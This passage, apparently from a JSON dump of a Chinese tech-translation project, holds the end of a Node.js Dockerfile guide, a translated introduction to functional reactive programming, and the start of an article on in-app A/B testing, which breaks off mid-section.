包来部署静态文件。\n\n此外，可以使用一些替代方案：1) 在本地构建打包文件，然后使用 nginx docker 来部署这些静态文件。2) 使用 CI/CD 工作流进行构建。\n\n### 5. 生产环境中的直接构建\n\n```\nFROM node:carbon\n\n# 创建 app 目录\nWORKDIR /app\n\n# 安装 app 依赖\n# RUN npm -g install serve\n\n# 使用通配符复制 package.json 与 package-lock.json\nCOPY package*.json ./\n\nRUN npm install\n\n# 打包 app 源码\nCOPY src /app\n\n# 如需对 react/vue/angular 打包，生成静态文件，使用：\n# RUN npm run build\n\nEXPOSE 8080\n# 如需部署静态文件，使用：\n#CMD [\"serve\", \"-s\", \"dist\", \"-p\", \"8080\"]\nCMD [ \"node\", \"server.js\" ]\n```\n\n构建并运行这个一体化镜像：\n\n```\n$ cd node-docker\n$ docker build -t node-docker-prod .\n$ docker run --rm -it -p 8080:8080 node-docker-prod\n```\n\n由于底层为 Debian，构建完成后镜像约为 700MB（具体数值取决于你的源码）。下面探讨如何减小这个文件的大小。\n\n### 6. 生产环境中的多级构建\n\n使用多级构建时，将在 Dockerfile 中使用多个 `FROM` 语句，但最后仅会使用最终阶段构建的文件。这样，得到的镜像将仅包含生产服务器中所需的依赖，理想情况下文件将非常小。\n\n```\n# ---- Base Node ----\nFROM node:carbon AS base\n# 创建 app 目录\nWORKDIR /app\n\n# ---- Dependencies ----\nFROM base AS dependencies  \n# 使用通配符复制 package.json 与 package-lock.json\nCOPY package*.json ./\n# 安装在‘devDependencies’中包含的依赖\nRUN npm install\n\n# ---- Copy Files/Build ----\nFROM dependencies AS build  \nWORKDIR /app\nCOPY src /app\n# 如需对 react/vue/angular 打包，生成静态文件，使用：\n# RUN npm run build\n\n# --- Release with Alpine ----\nFROM node:8.9-alpine AS release  \n# 创建 app 目录\nWORKDIR /app\n# 可选命令：\n# RUN npm -g install serve\nCOPY --from=dependencies /app/package.json ./\n# 安装 app 依赖\nRUN npm install --only=production\nCOPY --from=build /app ./\n#CMD [\"serve\", \"-s\", \"dist\", \"-p\", \"8080\"]\nCMD [\"node\", \"server.js\"]\n```\n\n使用上面的方法，用 Alpine 构建的镜像文件大小约 70MB，比之前少了 10 倍。使用 `alpine` 版本进行构建能有效减小镜像的大小。\n\n如果你对前面的方法有任何建议，或希望看到别的用例，请告知作者。\n\n加入 [Reddit](https://www.reddit.com/r/node/comments/7vw6gj/an_exhaustive_guide_to_writing_dockerfiles_for/) / [HackerNews](https://news.ycombinator.com/item?id=16330793) 讨论:)\n\n* * *\n\n此外，你是否试过将 Node.js web 应用部署在 Hasura 上呢？这其实是将 Node.js 应用部署于 HTTPS 域名的最快的方法（仅需使用 git push）。尝试使用 [https://hasura.io/hub/nodejs-frameworks](https://hasura.io/hub/nodejs-frameworks) 的模板快速入门吧！Hasura 中所有的项目模板都带有 Dockerfile 与 Kubernetes 标准文件，你可以自由进行定义。\n\n感谢 [Tanmai Gopal](https://medium.com/@tanmaig?source=post_page)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n\n"
  },
  {
    "path": "TODO/an-introduction-to-functional-reactive-programming.md",
    "content": "> * 原文地址：[An Introduction to Functional Reactive Programming](http://blog.danlew.net/2017/07/27/an-introduction-to-functional-reactive-programming/)\n> * 原文作者：[Daniel Lew](https://github.com/dlew)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/an-introduction-to-functional-reactive-programming.md](https://github.com/xitu/gold-miner/blob/master/TODO/an-introduction-to-functional-reactive-programming.md)\n> * 译者：[龙骑将杨影枫](https://github.com/stormrabbit/)\n> * 校对者：[jasonxia23](https://github.com/jasonxia23)、[Tobias Lee](https://github.com/lileizhenshuai)\n\n# 函数式响应编程入门指南\n\n今年，我做了一场有关函数式响应编程（functional reactive programming，简称 FRP）的演讲，演讲的内容包括“什么是函数式响应编程”以及“为什么你应该关注它”。本篇是此演讲的文字版。\n\n---\n\n## 介绍\n\n函数式响应编程最近几年非常流行。但是它到底是什么呢？为什么你应该关注它呢？\n\n即便是对于现在正在使用 FRP 框架的人 —— 比如 RxJava —— 来说，FRP 背后的基础理论还是很神秘的。今天我就来揭开这层神秘的面纱，将函数式响应编程分解成两个独立的概念：响应型编程和函数式编程。\n\n## 响应型编程\n\n[![](http://blog.danlew.net/content/images/2017/07/slide01-1.png)](http://blog.danlew.net/content/images/2017/07/slide01-1.png)\n\n首先，让我们来看一下什么叫做响应型代码。\n\n先从一个简单的例子开始：开关和灯泡。当有人拨动开关时，灯泡随之发亮或熄灭。\n\n在编程术语中，这两个组件是耦合的。通常人们不太关心它们**如何**耦合，不过这次让我们深入研究一下。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide02-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide02.png)\n\n让灯泡随着开关发光或熄灭的方法之一，是让开关修改灯泡的状态。在这种情况下，开关是**主动**的，用新状态给灯泡赋值；灯泡是**被动**的，单纯地收到指令改变自己的状态。\n\n我们在开关旁边画一个箭头来表示这种状态 —— 这就是说，连接两个组件的是开关，不是灯泡。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide03-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide03.png)\n\n这是主动型解决方法的代码：开关类中持有一个灯泡类的实例化对象，通过修改实例对象来完成状态的修改。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide04-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide04.png)\n\n另一种连接这两个组件的办法是让灯泡通过监听开关的状态来改变自己的值。在这种模型下，灯泡是**响应型**的，根据开关的状态修改自身的状态；开关是**被观察者**（**observable**），其他的观察者可以观察它的状态变化。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide05-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide05.png)\n\n这是响应型解决方案的代码：灯泡 `LightBulb` 监听开关 `Switch` 的状态，根据开关状态改变的事件改变自身的状态。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide06-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide06.png)\n\n对终端用户来说，主动型和响应型编码结果是相同的。那么两者的差别在哪里呢？\n\n第一个区别是，`灯泡`的控制者不同。在主动型模式中，是由**另一个**组件调用了灯泡对象的 `LightBulb.power()` 方法。但是在响应型里，是由`灯泡`自己控制自己的亮度。\n\n第二个区别是，谁决定了`开关`的控制对象。在主动型模式里，开关自己决定它控制谁。在响应式模式里，`开关`并不关心它控制谁，而其他组件只是在它身上挂了个监听器。\n\n两者看起来好像是对方的镜像。两者间是二元对应的。\n\n然而，正是这些微妙的差别造成了两个组件间是高耦合还是低耦合。在主动型模式中，组件互相直接控制。在响应型模式中，组件自己控制自己，互相之间没有直接交互。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide07-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide07.png)\n\n举个现实中的例子：\n\n这是 Trello 的主页面，它从数据库拿取图片数据并展示给用户。那么采用主动型的数据关系与响应型（的数据关系）有什么不同呢？\n\n[![](http://blog.danlew.net/content/images/2017/07/slide08-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide08.png)\n\n如果是主动型模式，当数据库的数据更新时，数据库将最新的数据推送到用户界面。但是这种做法看起来毫无逻辑：为什么数据库需要关心用户界面？为什么要由数据库关心主页面到底展示了没有？为什么它要关心是否需要推送数据到主页面？主动型编码让数据库和用户界面之间缠缠绵绵，看起来好像是在做羞羞的事（creates a bizarrely tight coupling between my DB and my UI ）。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide09-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide09.png)\n\n相对而言，响应型就简洁多了。用户界面监听数据库的数据变化，如果有需要的话就更新自己的界面。数据库就是一个傻乎乎的资源堆放地，顺便提供了一个监听器。任何组件都能读取到数据库的数据变化，而这些变化也很容易反应到需要的用户界面上。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide10-thumb.jpg)](http://blog.danlew.net/content/images/2017/07/slide10.jpg)\n\n用一句好莱坞的拍戏信条概括就是：别给我们打电话，我们会打电话给你的（校对 Tobias Lee ：*don't call us, we'll call you* ，这个似乎是好莱坞演员面试的原则。是否被录用是由剧组决定的，演员不要主动打电话去询问）。这种形式会降低代码耦合度，允许攻城狮很好地封装组件。\n\n现在我们可以回答什么是响应型编程了：那就是使用组件响应事件的编码形式，代替通常使用的主动型编码。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide11-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide11.png)\n\n如果想经常使用响应型编码的话，简单的监听器还是不够完善。这样会产生一系列问题：\n\n首先，每一个监听器都是独一无二的。我们有 `Switch.OnFlipListener` ，但是只能用来监听开关类 `Switch`。如果有多个被观察者，那每一个（被观察者）组件都需要实现（观察者）的监听接口。这不仅带来一系列无聊繁重的实现接口的工作，还意味着不能重复使用响应型编码的思维 —— 因为没有一个共同的架构来实现这种模式。\n\n第二个问题是每一个观察者必须直接连接被观察的组件。`灯泡`对象必须直接和`开关`对象直连才能开始监听开关对象的状态。这其实是一个高耦合的编码形式，和我们的目标背道而驰。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide12-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide12.png)\n\n我们真正希望的是 `Switch.flips()` 返回一些可以被传递的泛型。来看看为了满足需求，我们应该选择哪种类型。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide13-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide13.png)\n\nJava 函数可以返回四种基本对象。横轴代表需要返回值的数量：要么是一个，要么是多个。纵轴代表是否需要立刻（同步）返回还是需要延迟（异步）返回。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide14-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide14.png)\n\n同步的返回值很简单。如果是需要返回一个元素，那么可以用泛型 `T`。如果是需要多个返回值，可以用 `Iterable<T>`。\n\n编写同步类型的代码比较简单，因为同步是所见即所用，但理论和现实还是有差距的。响应型编程天生具有异步属性：鬼知道被观察者什么时候会抽风个新状态出来。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide15-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide15.png)\n\n这种情况下，我们需要研究一下异步返回值。如果需要一个返回值，可以用 `Future<T>`。看起来不错，但离需要的（类）还差点 —— 一个被观察者组件也许有很多返回值（比如说，`开关`对象就可能多次开开关关)。\n\n我们真正需要的类在右下角，这块区域的类可以被称之为 `Observable<T>`。`Observable` 类是响应型框架的基础。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide16-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide16.png)\n\n来看看 `Observable<T>` 是如何起作用的。在上面的新代码里，`Switch.flips()` 返回一个 `Observable<Boolean>` 对象 —— 换句话说，就是一系列 true 或则 false 的值，代表开关对象 `Switch` 是处于打开状态还是处于关闭状态。灯泡对象 `LightBulb` 没有直接没有直接受制于 `Switch` 对象，它只是订阅了由`开关`提供的 `Observable<Boolean>`。\n\n这段代码和无 `Observable` 代码起着相同的作用，但是足以解决刚才我提到的两个问题。`Observable<T>` 是一个基础类型，在此基础之上可以进行更高层次的开发。而且它是可以被传递的，所以组件间的耦合度就降低了。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide17-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide17.png)\n\n再巩固一下 `Observable` 是什么：一个 `Observable` 是一组随时间变化的元素集合。\n\n用这张图来说明的话，横线代表时间，圈圈代表 `Observable` 发送给它的订阅者的事件。\n\n`Observable` 可以很好地表示两种可能的状态：成功还是报错。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide18-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide18.png)\n\n图中竖线代表一个成功的访问。并不是所有的集合都是无限的，所以有必要这么表示。比如说，如果你在 Netflix 上看视频的话，在特定的时候视频就会结束。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide19-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide19.png)\n\nX 代表错误，即表示在结果流的数据在某个时候会变为非法值。比如说，如果莱因哈特对着开关就是一锤子，那么还是应该提醒用户：开关不仅没法产生任何新状态，甚至连开关自身都不可能再监听任何状态 — 因为它被砸坏了。\n\n\n## 函数式编程\n\n[![](http://blog.danlew.net/content/images/2017/07/slide20-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide20.png)\n\n让我们先把响应型编程放在一边，看看函数式编程是什么。\n\n函数式编程的关键词是函数。嗯，对吧？我不准备讲什么普通的老式函数：我们现在研究的是纯函数。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide21-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide21.png)\n\n通过这个加法的例子来解释下什么是纯函数。\n\n假设有一个完美的取两数之和的 `add()` 函数。等下，这个函数空缺的部分是啥？\n\n[![](http://blog.danlew.net/content/images/2017/07/slide22-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide22.png)\n\n哎呀，看起来 `add()` 函数把一些文字流输出到了控制台。这就是所谓的**副作用**。`add()` 的目的本不包括显示结果，仅做相加的动作。但是现在它修改了 app 全局的状态。\n\n等下，还有更多。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide23-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide23.png)\n\n天啊，这回不光把数据输出到了控制台，连函数都强行结束了。如果单纯的看函数定义(两个参数，一个返回值)，谁也不知道这个函数会造成什么样的破坏。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide24-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide24.png)\n\n再来看看另一个例子。\n\n这次的例子是取一组数据，看看数据相加与数组相积是否一样。对数组 `[1, 2, 3]` 来说，这个结果应该是 true，因为不论相加还是相乘都是6。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide25-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide25.png)\n\n然而，检查一下 `sum()` 方法是如何实现的。虽然没有修改 app 的全局状态，但是它改变了输入的参数！这意味着代码会失败，因为随着 `product(numbers)` 运行，`numbers` 最终会变成空集合的。这一系列的问题可能随时发生在真实的、不纯的函数中。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide26-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide26.png)\n\n任何改变函数额外状态的时候，都会产生副作用。如你所见，副作用会使得编码复杂化。纯函数不允许有任何的副作用。\n\n有趣的是，这意味着纯函数**必须**有返回值。如果只有 `void` 的返回值，意味着纯函数啥都没做，因为它既没有改变输入值，也没有改变函数外的状态。\n\n这同时意味着，函数的参数必须是不可变的(译者：比如用 final 修饰？)。不能允许参数可变，否则函数执行的时候有可能修改参数值，从而打破了纯函数的原则。顺便一提，这也暗示着输出值也必须是不可变的（不然的话输出值不能作为其他纯函数的参数）\n\n[![](http://blog.danlew.net/content/images/2017/07/slide27-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide27.png)\n\n有关纯函数的第二个方面，就是对于给定的输入值，纯函数必须返回相同的输出值。换句话说，纯函数不能依靠额外的状态。\n\n比如说，检查一下这个欢迎用户的函数。虽然没有任何副作用，但是它随机返回两种欢迎语。这种随机性提供了一个额外的、静态的函数。\n\n这使得编码从两方面来说更坑爹了。第一，函数的返回值和输入值没什么关系。如果知道相同的输入值可以产生相同的返回值，那么阅读代码会更不容易懵圈。第二，函数中有一个额外的依赖，如果该依赖产生了变化，那么函数的输出值也会改变。\n\n面向对象的开发者很可能不理解，纯函数不能访问持有的类的状态。比如说，`Random` 的方法自带不纯属性，因为每次调用它都会返回不同的值。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide28-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide28.png)\n\n简单的说：函数式编程依赖于纯函数。纯函数是不会消耗或者改变外部的状态 - 他们完全依赖输入值来产生输出值。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide29-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide29.png)\n\n介绍函数式编程给大家时比较容易被混淆的是：(既然输入值是不可变的)，那如何让输出值有变化呢？比如说，如果我有一组整数，想获得以该组整数每个元素乘 2 的结果为新元素组成的数组。是不是必须改变列表的值呢？\n\n嗯，其实不全是的。你可以使用纯函数改变列表。这是一个可以把集合里的值做 * 2 操作的纯函数。没有副作用，没有额外的状态，也没有改变输入值或者输出值。这个函数做了额外的修改状态的工作，所以你就不必这么做的。\n\n然而，我们所写的这个方法扩展性太差了。它能做的只是把数组的每一个值都乘 2，但是如果想对数组的值进行其他操作呢？比如乘 3，除 2，想法是无穷无尽的。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide30-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide30.png)\n\n让我们写一个通用的整数数组计算器。首先写一个`函数式`接口，这样我们就可以定义如何计算每一个值。\n\n然后写一个 `map()` 函数，此函数接受一个整数数组**和**一个 `Function`函数 做参数。对每一个数组的整数来说，都可以用 `Function` 计算。\n\n赞美太阳！通过一点点额外的代码，我们可以对任何整数数组进行计算。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide31-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide31.png)\n\n我们甚至可以把这个例子拓展的更广泛一些：为什么不用一个更通用的类型，这样我们可以把任何列表转换为另一个其他的列表？只需要简单的修改一点刚才的代码。\n\n现在，我们可以把任何 `List<T>` 转换为 `List<R>`。比如说，我们可以把一组字符串数组转换为一组每个字符串的长度的数组。\n\n`map()` 就是所谓的**高阶函数**，因为它的参数之一也是函数。能够传递并且使用函数做参数是一个很牛逼的做法，因为它允许代码变的更灵活。不必再写反复的、实例化的函数，可以使用泛型度更高的函数比如 `map()` 来处理具有共性的逻辑。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide-31.2-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide-31.2.png)\n\n除了能更轻松的处理一系列额外的状态之外，纯函数还可以更容易组织函数。如果有一个 `A -> B` 的函数，又有一个 `B -> C` 的函数，我们可以把两个函数结合起来，以产生 `A -> C`。\n\n当你**可以**组织不纯函数时，总是会发生意料之外的副作用，这意味着组织函数是否正确的执行是个未知数。只有纯函数可以保证组织起来的代码是安全的。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide-31.3-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide-31.3.png)\n\n再举个栗子。这是另一个简单的函数式编程的函数 —— `filter()`。`filter()` 可以帮助我们过滤集合中的元素。现在我们可以在转换集合之前，先进行过滤操作。\n\n现在我们有了一对很小但是很勥的转换函数。它们的强力值随着允许我们自有组装函数而变的越来越大。\n\n其实函数式编程比我提到的还要多，但是现在讲述的东西足够我们明白函数式响应编程里的函数式了。\n\n## 函数式响应编程\n[![](http://blog.danlew.net/content/images/2017/07/slide32-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide32.png)\n\n现在可以解释什么是函数式响应编程了。\n\n还是以开关类 `Switch` 举例，这次我们不提供  `Observable<Boolean>` 类，我们提供一个基于自身状态枚举流的  `Observable<State>`。\n\n看起来我们没办法把开关和灯泡关联在一起，因为我们的泛型不相容。但是还有一个明显的方式让 `Observable<State>` 酷似\n`Observable<Boolean>` —— 如果可以把一种流转换为另一种呢？\n\n还记得之前函数式编程里的 `map()` 函数吗？该函数将一个同步集合转换为另一个。我们能否用相同的思想来把一个异步集合转换为另一个呢？\n\n[![](http://blog.danlew.net/content/images/2017/07/slide33-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide33.png)\n\n啦啦啦：这就是 `map()`，但是是用来转换 `Observable`的。`Observable.map()` 就是所谓的**操作符（operator）**。操作符允许攻城狮把任一 `Observable` 转换成基本上其他能所想到的类。\n\n操作符的图表画起来比之前见到的要麻烦。让我们来把它弄清楚：\n\n上面的代表输入流：一系列的有颜色的圈圈。\n\n中间的代表一系列操作符：把一个圈圈转换为方块。\n\n下面的那行代表着输出流：一系列有颜色的方块。\n\n本质上，在输入流里做的是 1:1 的转换。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide34-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide34.png)\n\n还是以开关的例子来说明。先写一个 `Observable<State>` ，然后使用 `map()` 操作符（对 `Observable<State>` 进行转换），这样每次产生新 `状态` 的时候，操作符 `map()` 返回一个 `Observable<Boolean>` 对象。现在我们有了正确的返回类型，就可以构造`灯泡`对象`LightBulb`了。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide-34.2-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide-34.2.png)\n\n好吧，这很有用。但是为什么一定要用纯函数呢？为什么不能随便在 `map()` 写一点？为什么引起副作用就有问题呢？当然，可以这么做，但是马上就会让代码很难处理。再说，这么做会错过不少不允许副作用的操作符。\n\n假设 `State` 的枚举类型有两种以上的状态，但是用户只关心打开或者关闭。如果这样的话，我们要过滤掉其他的状态。看，这里有一个 `filter()` 的操作符。还可以用 `map()` 来获得想要的结果。\n\n将函数式响应编程的代码和之前的函数式代码相比较，你会发现两者非常相似。唯一的区别就是函数式编程的代码处理的是同步的集合，函数式响应编程处理的是异步集合。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide35-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide35.png)\n\n函数式响应编程的代码有一大堆操作符，可以把常见的问题转换成对流的控制，而流最大的好处就是可以多次组装。举一个真实的例子：\n\n我之前展示的 Trello 主屏幕很简单 —— 它只有一个从数据库到用户界面的大箭头。但事实上，主屏幕用的数据源还有很多。\n\n事实上，每一个数据源的数据可能有很多的展示位置。我们必须保证同步接收资源，否则可能会出现数据匹配错误，造成展示位置没有对应的数据源的 bug。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide36-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide36.png)\n\n我们使用 `combineLatest()` 避免这种问题，`combineLatest()` 接收复数的数据流并且将他们组合成一个数据流。这么做有什么好处呢？每次任何一个输入流改变的时候，它也跟着改变，这样就可以保证发送给 UI 的数据包是完整的了。\n\n[![](http://blog.danlew.net/content/images/2017/07/slide37-thumb.png)](http://blog.danlew.net/content/images/2017/07/slide37.png)\n\n函数式响应编程中有很多有价值的操作符，这里只给大家看一些简单的…… 多数情况下，第一次使用函数式响应编程的攻城狮看到一大堆操作符都会晕过去。\n\n然而，这些操作符的目标并不是让人崩溃 —— 它们为了组织典型的数据。它们是你的朋友，不是敌人。\n\n我建议大家可以一步一步的接受他们。并不需要马上记住所有的操作符；相反，只需要记住当前应该使用什么操作符。需要的时候去查询一下，然后经过一系列训练你就会习惯它们的。\n\n## 额外的东西\n\n我试图去回答“什么是函数式响应编程”。现在我们有了答案：所谓函数式响应编程，就是响应型数据流与函数式操作符的组合。\n\n但是为什么要尝试使用函数式响应编程呢？\n\n响应型数据流允许你通过标准方法编写组件间的模块化编码。响应型数据可以帮助攻城狮对组件进行解耦。\n\n响应型数据流天生自带异步属性。也许你的工作是同步的，但是大部分我编写的 app 都是基于异步的用户输入和操作。使用一个基于异步编写的框架比自己摸索着写代码的方式要简单的多。\n\n函数式响应型编码的函数式部分可以给予攻城狮使用可靠的方法操作数据流的工具，因而特别有用。 函数式操作符允许攻城狮控制数据流之间的交互，同时可以编写可复用的代码模块来应对有共性的逻辑。\n\n函数式响应编程不够直观。大部分人开始编程的时候都是使用非纯的函数或者主动的方式，包括我。也许你使用这种方式的时间太久了，而这种方式也深深的印在了你的脑子里，以至于你认为这种方式是唯一的解决方式。如果能够打破这种惯性思维，你可以编写出更多高质量的代码。\n\n## 引用\n\n感谢在以下资料对我演讲的帮助：\n\n- [cycle.js 对主动型与响应型编码的解释(cycle.js has a great explanation of proactive vs. reactive code)](https://cycle.js.org/streams.html)，我参考了很多这篇文档来筹备演讲。\n\n- [Erik Meijer 做了一场碉堡了的、有关响应型/主动型二元对应的演讲](https://channel9.msdn.com/Events/Lang-NEXT/Lang-NEXT-2014/Keynote-Duality)，我从中借鉴了 4 项函数式的基本效果。本演讲有点高深，但是如果你能吃透它，它非常有启发性。\n\n- 如果读者希望了解更多有关函数式编程的东西，我推荐大家使用一门函数式编程语言。Haskell 就特别不错，因为它严格使用函数式编程的规范，意味着你不能使用作弊的方式学习。[\"Learn you a Haskell\" 是一部优秀而且免费的在线书籍](http://learnyouahaskell.com/)，想跟深入研究得人可以看一看。\n\n- 如果想学习更多函数式响应编程的姿势，欢迎阅读[我的博客上的一系列文章](http://blog.danlew.net/2014/09/15/grokking-rxjava-part-1/)。此演讲中所阐述的知识点和博客上的文章有交叉，但是博客上的文章会更多的阐述使用 RxJava 的细节。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/an-introduction-to-in-app-a-b-testing.md",
    "content": "> * 原文地址：[An introduction to in-app A/B testing: How A/B testing can help you get more out of your app](https://medium.com/googleplaydev/an-introduction-to-in-app-a-b-testing-c5a9a69a3791)\n> * 原文作者：[Gavin Kinghall Were](https://medium.com/@gavink?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/an-introduction-to-in-app-a-b-testing.md](https://github.com/xitu/gold-miner/blob/master/TODO/an-introduction-to-in-app-a-b-testing.md)\n> * 译者：[mnikn](https://github.com/mnikn/)\n> * 校对者：[swants](https://github.com/swants), [winry01](https://github.com/winry01)\n\n# app 里的 A/B 测试简介\n\n## A/B 测试如何帮助您从 app 中获得更多收益\n\nA/B 测试是一种对照实验方法，用来根据假设比较两个及以上版本之间的差别，其假设可以被证实或推翻。该测试会根据原有版本派生出特定的测试版本，以此来产生可靠的结果。当 A/B 测试在被测人不知情的真实场景中测试，其得出的结果才是最有效的。\n\n![](https://cdn-images-1.medium.com/max/600/1*Yy0xUTqhw0-VX7rxIDNNPw.png)\n\n要构建每个版本的代表性样本群体，A/B 测试平台需要随机地让用户使用版本 A 或版本 B，或者将其排除在测试之外。然后确保用户在整个测试中保持一致的 A/B 体验（总是 A 或总是 B），并向分析平台提供额外的元数据以确定指标的影响。一旦指标分析完成，表现最佳的版本将会被选中，您可以使用 A/B 测试平台逐步向所有用户推出获胜版本。\n\n例如，你可以假设在你的 app 中 [底部导航](https://material.google.com/components/bottom-navigation.html) 的用户参与度将超过 [标签](https://material.google.com/components/tabs.html)。您可以设计一个 A/B 测试比较标签（版本 A）和底部导航（版本 B）。\n然后，你的 A/B 测试平台将生成一个样本，该样本基于用户随机分配到版本 A 或版本 B。并且每个用户在测试期间会持续看到相同的版本。当测试结束时，可以将版本 A 用户参与度与版本 B 的用户参与度进行比较，看看版本 B 是否具有 [统计显着性](https://en.wikipedia.org/wiki/Statistical_significance) 的改进。如果版本 B 更好，这就有数据支持你把导航风格改为底部导航，并让所有用户看到这一版本。\n\n![](https://cdn-images-1.medium.com/max/600/1*zQPA1R3det25wJDZ6zdWxw.png)\n\n![](https://cdn-images-1.medium.com/max/600/1*sjA3GNa2KIsqHom-ubhebg.png)\n\n左边 —— 版本 A，标签；右边 —— 版本 B，底部导航\n\n> **_关于 Google Play 控制台中商品详情实验的说明_**\n\n> Google Play 控制台还支持在你的商品详情中进行 A/B 测试，本文不会重点关注这一部分。[商品详情实验](https://developer.android.com/distribute/users/experiments.html)，让你在商品详情中测试不同的图标，功能图，促销视频，简短描述和详细描述，看看这些变化是否可以增加应用的安装。 商品详情实验侧重于提高转化次数，而我的文章的其余部分讨论了应用内的 A/B 测试，旨在改善用户存留率，用户参与度和应用内购买收入等安装后的指标。\n\n在我的文章中，我将介绍 app 里 A/B 测试的五个关键步骤：\n\n1.  建立假设\n2.  整合 A/B 测试平台\n3.  测试假设\n4.  分析并得出结论\n5.  采取行动\n\n然后，我还会涉及更多可以探索的高级技巧。\n\n### 第一步，建立假设\n\n假设是根据一种现象提供相应的解释，而 A/B 测试是一种确定假设是否为真的方法。这个假设可能是通过检查现有的数据而产生的，也可能猜测的成分多一点，或者仅仅只是一种“预测”。（对于新功能所涉及到的新指标，假设常常是基于“预测”。）在导航的例子中，可以用这种方式来表达假设：“采用底部导航会较标签增加用户的参与度“。然后，如果你的 app 有对导航风格进行了更改，以及该更改对用户参与度的有影响，你可以根据这个假设来进行相应决策。重要一点的是要记住，测试的唯一目的是证明底部导航对每个用户的平均收入（或者 ARPU）有着直接，积极的影响。\n\n#### 要测试什么（A 是什么？B 